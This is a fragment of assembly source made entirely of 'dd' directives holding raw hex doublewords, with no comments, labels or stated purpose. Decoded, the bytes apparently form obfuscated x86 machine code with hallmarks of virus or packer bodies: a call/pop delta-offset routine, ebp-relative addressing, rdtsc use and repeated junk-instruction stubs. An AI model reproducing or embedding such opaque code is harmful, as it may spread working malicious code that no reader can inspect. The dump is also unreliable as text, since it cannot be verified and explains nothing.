		dd 6A060EA7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0EA45C357h, 0C4EA742Bh, 68B0FA8h
		dd 8B000000h, 0B0EE99Dh, 0FD1FF06h, 683h, 0F5BD8B00h, 83060B03h
		dd 0B0B19BDh, 850F0106h, 6Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0C5C35646h,	5101D935h, 0EF4B28C8h
		dd 8B66F51Bh, 0F026ADAh, 118Fh,	0CE900h, 0A2F70000h, 59E36D41h
		dd 2E0ED305h, 0E99069CEh, 12h, 0FCCB6827h, 0F848FAC6h
		dd 0A2D0B01Ah, 69CC6ED4h, 6650D8E6h, 8A90DE8Bh,	1595FFDEh
		dd 89060B0Fh, 0B04A595h, 0EA4E906h, 0E80000h, 5D000000h
		dd 904FED81h, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B52961C3h, 60B0E9Dh, 30F19D8Bh
		dd 0B70F060Bh, 93858DDBh, 6A060E92h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 29A7C351h
		dd 0B0E65B5h, 8E0F5006h, 17h, 0FE850h, 0E00A0000h, 0A0B04A92h
		dd 4DC1C350h, 0BDE674D7h, 895F5B41h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ECB22C3h
		dd 8E4FEA81h, 1A359D8Bh, 0FF64060Bh, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8B4016FEh, 0B005DBDh, 649CB306h, 2589h, 0BF660000h
		dd 85FF2432h, 60B066Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0EFC35343h, 0B27A6978h, 23E2E81Fh, 1805BD8Bh
		dd 0FF6A060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0F0C35343h, 23268951h, 295015FDh, 0B30F1B5h, 0B5FF5F06h
		dd 60B1AA9h, 16F38166h,	0F1BD8BD4h, 0FF060B0Eh,	0B241195h
		dd 120E906h, 0E3800000h, 0E600B007h, 48D38170h,	0E45EFECFh
		dd 0F0BF6671h, 0F613C10h, 10583h, 0F9BD2300h, 8B060B13h
		dd 0B12C59Dh, 0C8B60F06h, 128DBD31h, 6BA060Bh, 0F000000h
		dd 68Fh, 259D2900h, 8B060B21h, 6850FC1h, 9000000h, 0B0E4DBDh
		dd 4E8C106h, 8BBDB760h,	0B17CD95h, 81666106h, 668B54D7h
		dd 8D29E2F7h, 60B207Dh,	9D8BC82Bh, 60B0069h, 99BBD18Bh
		dd 0E91281DBh, 18h, 0EE9h, 8C7CB200h, 0B3B9F20Ch, 81F60676h
		dd 667C02E2h, 20B5DF81h, 2139858Bh, 9D31060Bh, 60B21F1h
		dd 3107C083h, 0B26C58Dh, 0C08306h, 603F3DBFh, 0FD03B00h
		dd 2083h, 7DB58900h, 0E9060B08h, 5Ah, 0AE9h, 14C3F500h
		dd 5AE5F044h, 89EF7132h, 0B1B01B5h, 0E98D8B06h,	80060B13h
		dd 0E18348D3h, 33840F01h, 0BB000000h, 22F0B610h, 13E9A583h
		dd 0E8FE060Bh, 0Ah, 7276F71Bh, 657D653Ch, 9D23E094h, 60B02A1h
		dd 3995895Fh, 81060B21h, 18C5A4D7h, 0E94Fh, 0B58D0000h
		dd 60F00DBh, 59DBD8Bh, 0B589060Bh, 60B0BA5h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A6573C3h, 426ABBD1h, 0FFF9779Ch, 0B32DD95h,	0B5BD8906h
		dd 0B9060B31h, 8E6h, 9E9h, 52593600h, 0EF095A82h, 2DBB1F29h
		dd 8352EE01h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 5C6752C3h, 6AFC6DDCh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 163BC353h, 0ACA4D37Bh, 0B70FE9E8h, 89C02BD9h, 0B29059Dh
		dd 6AD22B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 78BCC357h, 29FB0D2Ch, 0B0F35B5h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 118531F4h, 6A060B10h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 9D73C353h, 0F517A9Fh, 683h, 19BD8B00h, 5B060B33h
		dd 880Dh, 958BF500h, 60B174Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D1C35242h,	594367DFh, 929BD8Bh
		dd 9D8B060Bh, 60B2EE9h,	1198D8Bh, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0C1BD66C3h
		dd 0AB43D987h, 1B918589h, 8B50060Bh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	6810Fh,	0E7810000h, 3D4AF582h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 13C35747h
		dd 0E9BD8B66h, 83060B19h, 0B29BDBDh, 840F0006h,	7Ah, 559D8B51h
		dd 5F060B2Fh, 2A599D8Bh, 0B8060Bh, 81000000h, 0A9CA6BDBh
		dd 0D78D8D4Eh, 6A060B4Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 40B6C350h, 6880F80h
		dd 9000000h, 0B16ADB5h,	0B6BF6606h, 6AE1FF74h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 93C6C356h, 0BFD99B29h, 31ED8C8Bh, 68DB529h, 0BD83060Bh
		dd 60B1009h, 78840F00h,	66000004h, 83D85ABBh, 0B1009BDh
		dd 840F0106h, 482h, 9599BB66h, 1009BD83h, 0F03060Bh, 43B86h
		dd 6A6000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0FD60C4C3h, 16B99D8Bh, 6E8060Bh, 0EC000000h
		dd 110B099Eh, 0B1BD8909h, 5F060B19h, 6AD98C66h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 102DC356h, 0E180D44Fh, 0D98D8904h, 0A060B13h, 61840FC9h
		dd 8B000001h, 0B218DBDh, 31606006h, 0B1241BDh, 6161F906h
		dd 317D858Bh, 8166060Bh, 33680EF7h, 0B06ED85h, 0BDBD0106h
		dd 0F5060B18h, 0DE990h,	0E6C40000h, 0EB80364Dh,	544725C1h
		dd 50AF2B23h, 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8930C352h, 0B078595h
		dd 66006A06h, 0E8CD43BFh, 4, 1F03FFh, 16870F50h, 0E8000000h
		dd 0Eh,	58D0E6F1h, 0E4E2DB14h, 1716CF4h, 0AB7E0B9h, 24448B5Fh
		dd 13E904h, 85C20000h, 0CA456E7Fh, 0EC254467h, 56C63062h
		dd 13A8F47h, 0E9008B2Ch, 12h, 31FF77C1h, 53CCF8AAh, 1FA1D196h
		dd 0D56711C1h, 44894781h, 0F510424h, 28Ch, 5F616000h, 0BBBB6658h
		dd 0D195FF39h, 6A060B03h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 5B7C352h, 99EECE1h
		dd 8589110Bh, 60EA81Dh,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0B6C35141h, 0E2AEAD4Bh
		dd 0EF5D2B79h, 19B5093Dh, 0F060B04h, 0CEE9DBBFh, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F0D6C352h, 0FC527BE7h, 0BD8BF91Fh, 60B0BC9h
		dd 0A815858Bh, 6A060Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 86DC5FC3h, 0C9F333B2h, 182711BBh
		dd 1800C73Dh, 0FC000000h, 0A819B58Bh, 6A060Eh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 33F9C6C3h, 0B2849BDh, 0E59D8B06h, 8B060B07h,	0B06E185h
		dd 895EB706h, 29BD3306h, 1060B10h, 0B112995h, 7D858B06h
		dd 6A060B31h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 3A12C350h, 10E8h, 95F6B200h, 0CFBC3BA1h
		dd 0C14A6DFEh, 4EECB116h, 95B509A8h, 5B060B01h,	0EE9h
		dd 7EEB9700h, 77EB7E83h, 67BAE7F9h, 8917F674h, 60510446h
		dd 5A56C18Bh, 8B965F61h, 8B6650FBh, 0D78196F8h,	5E036FFCh
		dd 6880Fh, 0BD8B0000h, 60B2DFDh, 0A815B5FFh, 6A060Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 1D4AB1C3h, 0A7CA855Fh, 0D781E4ECh, 2B8DAB0h,	4ACB7F68h
		dd 13E9E7h, 5BA30000h, 0B58ECAD2h, 0CDE575A6h, 0E6A1F64h
		dd 3A656327h, 240481AFh, 18D43880h, 1D858DF9h, 8B060EA8h
		dd 0B240D9Dh, 0BF669006h, 6650A488h, 90902ABFh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 9D8B6080h
		dd 60B2EC9h, 0D195FF61h, 9060B03h, 0B31698Dh, 13E906h
		dd 0BCC50000h, 0E8803D51h, 68D90A7Dh, 401DA51Dh, 6F0DF8A1h
		dd 6A617Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 56BE2FC3h, 16EBCF6Fh, 0BF0FD02Bh,	6DBD8BDAh
		dd 0C7060B29h, 0B100985h, 306h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C4CA9019h
		dd 8A18BF66h, 0A81DBD83h, 0F00060Eh, 6384h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0E9FA8BB2h, 0Ah, 1688801Dh, 87E0C55Ah, 4CE9688Eh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0DB5C351h, 0FE9h,	73B6C100h, 6763C9ACh, 8BB8647h
		dd 6B29C3B8h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0FFEAC351h, 66C989CAh,	6880Fh
		dd 8D010000h, 60B0D19h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 65C35747h, 0C5E47935h, 1DCF310Ah, 93E8F381h
		dd 0BD8369BAh, 60B1009h, 69850F03h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0EFBAC353h, 2D001110h, 0CA3EA813h, 0A81DBD83h, 0F00060Eh
		dd 43784h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1604h, 0C3504000h, 33C2583Eh, 0B23159Dh, 9850906h, 0FF060B18h
		dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 2A50059h,	4C60ED55h, 0FF4AB309h
		dd 0B083D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 8E7E71Ch,	8BC75024h, 0EA811B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9D896F49h, 60B1F71h,	106C7h,	6A0001h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 291609C3h
		dd 8DE48120h, 7D9589D4h, 0E8060B18h, 5,	755481F0h, 0FE8B573Bh
		dd 50505B5Fh, 0FA8B6652h, 8D0F310Fh, 6,	310F5250h, 585A585Ah
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0D13FC355h, 47FB3CA8h,	84391C5Ah
		dd 6299D31h, 6E9060Bh, 0F0000000h, 1C9B6688h, 0B5FFF8A8h
		dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	3DC35242h, 6C07EC38h, 1C5CA77Ah, 0C5B5099Bh, 0FF060B14h
		dd 0B064195h, 0C18D8906h, 8B060B08h, 0EA811B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 58804D60h, 1FBF6664h, 1D858BADh, 6A060B12h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0BF97C356h, 0FC872E79h, 9D332062h, 60B3129h,	8D59529h
		dd 8689060Bh, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 80C35141h, 286AD781h,	0BB663804h, 958B49D7h
		dd 60B174Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	88C35646h, 0B95B589h, 0B70F060Bh, 4C283DAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 10E9489Dh
		dd 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 89F992C9h
		dd 95892050h, 60B0F49h,	0BAEE858Dh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8A03D1C3h
		dd 0E79D8BBEh, 8689FB5Eh, 0B8h,	0BD03006Ah, 60B08C9h, 0A81DB5FFh
		dd 840F060Eh, 6, 21759501h, 95FF060Bh, 60B0F15h, 5050F98Ah
		dd 0DE8B6652h, 8B66310Fh, 89585ADFh, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6B20BC3h
		dd 0DF8B340Ah, 0A81DB5FFh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 5A9210C3h
		dd 0BB66F379h, 95FF78E2h, 60B00F5h, 13E9h, 0CE8F900h, 0F0CAD46Eh
		dd 8ECD974Bh, 0FFCFC336h, 0F9650019h, 2191BD83h, 0F00060Bh
		dd 3284h, 0BD9D8B00h, 96060B06h, 50F98B66h, 6A96DF8Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 54D0C357h, 0C3600A0Ah, 0FFFAA4D1h, 0EA81DB5h
		dd 0FDBD8B06h, 0FF060B06h, 0B128195h, 0FF87B306h, 0EA81DB5h
		dd 89D98B06h, 0B32D985h, 8D95FF06h, 80060B0Bh, 0BD83FFEBh
		dd 60B17F1h, 7A840F02h,	0E8000000h, 10h, 937FA6Fh, 0CB6B3842h
		dd 678D4911h, 6DADF841h, 0AE8h,	0DCEB8D00h, 5BE4A752h
		dd 8BBB256Dh, 0B29C5BDh, 8B5F5B06h, 0B2EC585h, 6820F06h
		dd 89000000h, 0B1A99B5h, 0AE906h, 0C6550000h, 97241D61h
		dd 0D5C25EDCh, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 1EEDC352h, 0E176D44Ah
		dd 0D78043BFh, 78BB669Eh, 0B985C7D4h, 60B06h, 0F000000h
		dd 0BD8BD8BFh, 60B13BDh, 0FFF2C5E9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8BF63B33h, 0B0EE99Dh, 6AC18B06h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 996DC351h, 0F5589730h, 5D86E28h, 68F0F57h, 8B000000h
		dd 0B16819Dh, 858D5B06h, 60B28A9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0BDC35343h,	8CEDC9EEh, 8088A98Fh
		dd 0F60C0E3h, 0B70FF7BFh, 895061C6h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 84EFAEC3h
		dd 94197B84h, 8B669FA4h, 6A006AFAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FB7FC357h
		dd 8E8B8h, 0CF0A0000h, 0D6A7A45Ch, 0CF81DA05h, 3EC0440Ch
		dd 0DF8B665Bh, 12E9006Ah, 21000000h, 0AF6EC901h, 91520E6Fh
		dd 0E25BE1Ch, 977CCBE8h, 1A858DC4h, 8B060FA1h, 0B2E319Dh
		dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	4BC35242h, 655E8939h, 6850Fh, 0BD8B0000h, 60B2981h
		dd 24048950h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	97C35343h, 0A4B251ABh, 0E7872F2Dh, 79BD2968h, 6A060B13h
		dd 0D8B70F00h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 742186C3h, 2195FF58h, 6A060B2Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FF7C350h, 8D8DDEB7h, 60EA7B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B9C35646h, 0A98D89A8h
		dd 0FF060B04h, 0BD9D01D1h, 83060B21h, 0B0B19BDh, 850F0106h
		dd 8Ah,	536EBE60h, 830F28C1h, 14h, 0EE8h, 46ABB600h, 5D582F38h
		dd 7D4FAF4Eh, 5EFF1657h, 0F026A61h, 8A90F8BFh, 59BB50DAh
		dd 9072ACA3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	6DC35646h, 958960DDh, 60B19C1h,	6E9h, 9FF0BE00h
		dd 61340857h, 0F1595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0DFFEB1C3h, 3FE8728Ah
		dd 17E992B2h, 0E800000Ch, 0
		dd 24ED815Dh, 60060FA1h, 68F0Fh, 870F0000h, 0
		dd 0ECC78161h, 8D4320F5h, 0E929385h, 0AD9D8B06h, 90060B0Fh
		dd 90F88B50h, 9BD3360h,	89060B2Eh, 0B011585h, 0FF646106h
		dd 35h,	50006A00h, 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1B04h, 0C3504000h, 7846EB5Fh, 506E1006h, 6FF38166h
		dd 0AD9501A8h, 64060B1Ah, 2589h, 95890000h, 60B29ADh, 66D85FFh
		dd 5260060Bh, 42F7CE81h, 0F587B8Eh, 6A61DABFh, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FF462078h, 0B0105B5h, 11958906h, 0FF060B22h, 0B241195h
		dd 0EDE906h, 0B5890000h, 60B07D5h, 0AE900B0h, 0A6000000h
		dd 1BF72625h, 0E7BF25E9h, 170E690h, 0B233995h, 51BD8B06h
		dd 0E4060B18h, 0F7816671h, 613CB060h, 0B9830Fh,	9D890000h
		dd 60B0069h, 0BAC8B60Fh, 6, 29899D33h, 0C18B060Bh, 0E2A1EB81h
		dd 0E8C17ECCh, 67BF6604h, 0E2F766CBh, 233D9D89h, 0C82B060Bh
		dd 87B96051h, 6159BB78h, 0F5D18B5Fh, 6E9h, 35BD3300h, 8B060B27h
		dd 0B329185h, 9DB58906h, 83060B05h, 0EF8107C0h,	4BCE7688h
		dd 8A00C083h, 0FD03BD9h, 1583h,	0D0806000h, 22F0BBA3h
		dd 0E96177E6h, 43h, 166D9D8Bh, 8D8B060Bh, 60B2A6Dh, 39850960h
		dd 81060B04h, 9F54F4E7h, 0E1836178h, 20840F01h,	0F000000h
		dd 81h,	6DA58300h, 0FE060B2Ah, 919589F8h, 57060B32h, 3366C6BBh
		dd 0E95F61h, 8D000000h,	0F0B15B5h, 0BFD78106h, 6A0AB0FEh
		dd 0A6C38000h, 32DD95FFh, 9D2B060Bh, 60B1965h, 71FB9h
		dd 0E183F500h, 66FCF5FCh, 9F5BEF81h, 68E0Fh, 0BD8B0000h
		dd 60B23F5h, 6AC02Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 8F31CAC3h, 239C2484h, 0B31D5BDh
		dd 6AD22B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 7540C357h, 3E7AAD5Fh, 882969BBh
		dd 8D9D893Bh, 0AD060B32h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 537AC352h, 0BDD407E4h, 9D8960F7h,	60B1359h
		dd 31858B60h, 0E9060B2Eh, 10h, 6F812D4Eh, 0DC922A80h, 0F75D434Bh
		dd 0CC362178h, 830F6161h, 6, 0E15BD8Bh,	880D060Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0C7FAC357h, 0F98B9651h, 8BD8B70Fh, 0B174D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 1D958909h, 8B060B24h, 0B01198Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0C93DD0F1h, 0F88BF992h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 4D3A13C3h, 0E3816642h, 6AEBF7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 6C3767C3h, 839718CAh, 0B29BDBDh, 840F0006h, 54h, 800Fh
		dd 0B80000h, 89000000h,	0B32F9B5h, 0D78D8D06h, 81060B4Dh
		dd 9416D7F7h, 6AE1FF49h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 1ADDC353h, 0AED07A3h
		dd 2820Fh, 0DE8B0000h, 68B0Fh, 0BD8B0000h, 60B206Dh, 1009BD83h
		dd 0F00060Bh, 3D984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0E9B3D5C9h, 0Fh, 85AA7CD0h
		dd 7244AE57h, 0AD435BD2h, 83BD5C56h, 0B1009BDh,	840F0106h
		dd 3B5h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	99C35141h, 0AED46228h, 0D34A47EBh, 0D5BD3185h
		dd 56060B17h, 0C9F638BBh, 0BD835B4Fh, 60B1009h,	40860F03h
		dd 0FC000003h, 0E1858960h, 89060B17h, 0B279D9Dh, 0D98C6606h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h
		dd 9589C62Ch, 60B234Dh,	0DEB70F57h, 0E9C7805Bh,	6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0FCBDC351h, 901BD2Bh, 0C90A060Bh,	0D3840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 3FBBD3C3h, 8B1128C5h, 0B317D85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5FD18C2Fh, 8533F5A9h, 60B06EDh, 6690F98Bh, 501901BFh
		dd 95E9BF66h, 99BD2990h, 0FC060B17h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F208A5C3h
		dd 0F75BD89h, 0FF68060Bh, 810B777Dh, 7E002434h,	6A0B68h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 8B5142C3h, 3D195FFh,	8166060Bh, 899ED8E3h, 0EA81D85h
		dd 0E878BF06h, 7AE94975h, 81000001h, 0D0B48F3h,	15858B34h
		dd 8B060EA8h, 0B05D59Dh, 0BE906h, 1C880000h, 0C3AEDC07h
		dd 0C3FECD07h, 1800C757h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0A1F4C351h
		dd 0A819B58Bh, 8B66060Eh, 0E1858BFBh, 89060B06h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 4444285Bh, 9235220h,	0BD232DC6h, 60B12B5h, 317D858Bh
		dd 0BD8B060Bh, 60B0BA5h, 0BF044689h, 6CD6A185h,	5318589h
		dd 6696060Bh, 500343BBh, 61606060h, 87BA5761h, 5F599967h
		dd 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BF6608C3h, 0B5FF9E3Ch, 60EA815h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 90C35545h, 0BD2956F2h
		dd 60B1341h, 3D1685Bh, 6651246Ah, 815BDF8Bh, 2E2434h, 6A2475h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A6B020C3h, 858D9E1Ah, 60EA81Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 79C35343h, 6E8ACh, 73970000h
		dd 0D6E7A5BFh, 0F91BD01h, 905B060Bh, 0BB50FB8Bh, 23C646CEh
		dd 7DBD8990h, 0FF060B0Bh, 0B03D195h, 67BB6606h,	6A6163h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 5AB9ABC3h, 8848BFDEh, 8B662194h, 985C7D8h, 3060B10h
		dd 0BF000000h, 3FBF3810h, 0A81DBD83h, 0F00060Eh, 4A84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 44E95Ah,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 1347BC3h, 0B0E69BDh
		dd 0AD952906h, 50060B0Bh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0BD89C08Bh, 60B06D5h, 6E8h, 5A524100h
		dd 3B68BB9h, 0B02A99Dh,	6E95F06h, 7F000000h, 0E1F2645Ah
		dd 9BD83E3h, 3060B10h, 3DF850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8B6642C3h
		dd 1DBD83F8h, 60EA8h, 3B3840Fh,	8E90000h, 0E6000000h, 585681E2h
		dd 0FFB440EAh, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0CEB1DFEh
		dd 0D2B14483h, 89BD2957h, 5B060B03h, 83D95FFh, 6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8918B9C3h, 0B0671BDh, 11B58B06h, 6A060EA8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1AB9C350h, 6C74347h,	10001h,	1B558589h, 6096060Bh, 880F53h
		dd 5F000000h, 5061DE8Bh, 5E95250h, 85000000h, 0B4A89935h
		dd 0E853310Fh, 0Ch, 0CCA14C98h,	8502F5AAh, 42F787BFh, 585A5B5Fh
		dd 5820F96h, 0BB000000h, 2F60ECFAh, 0A81DB5FFh,	6A060Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0F76D6DC3h, 66126788h, 95FFFB8Bh, 60B0641h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E8C35242h, 9D8BE737h
		dd 60B0B39h, 15A1B589h,	0B58B060Bh, 60EA811h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CAC35343h, 0BF395B8h
		dd 1299DFE3h, 0CE9h, 0E93EB900h, 0E7FABF82h, 8EBFB665h
		dd 1D858B50h, 0F060B12h, 584h, 0CF816600h, 86893F7Bh, 0C4h
		dd 6D958B60h, 66060B0Fh, 61823EBBh, 174D958Bh, 6A060Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0B88D80C3h, 8E93B8Eh, 81000000h, 654F0725h, 8318536Eh
		dd 0BD0304C2h, 60B29E5h, 0F205089h, 1982h, 14E900h, 5B2B0000h
		dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h,	858DD185h
		dd 60EBAEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0A1C35545h, 0DCDBD31h, 8689060Bh, 0B8h,	0DE9h
